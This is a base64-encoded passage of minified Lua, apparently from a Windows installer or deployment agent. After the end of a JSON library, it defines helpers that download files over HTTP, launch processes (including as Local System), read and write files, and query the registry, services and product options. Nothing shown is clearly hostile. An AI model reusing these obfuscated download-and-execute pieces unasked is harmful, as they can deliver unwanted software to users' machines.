IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
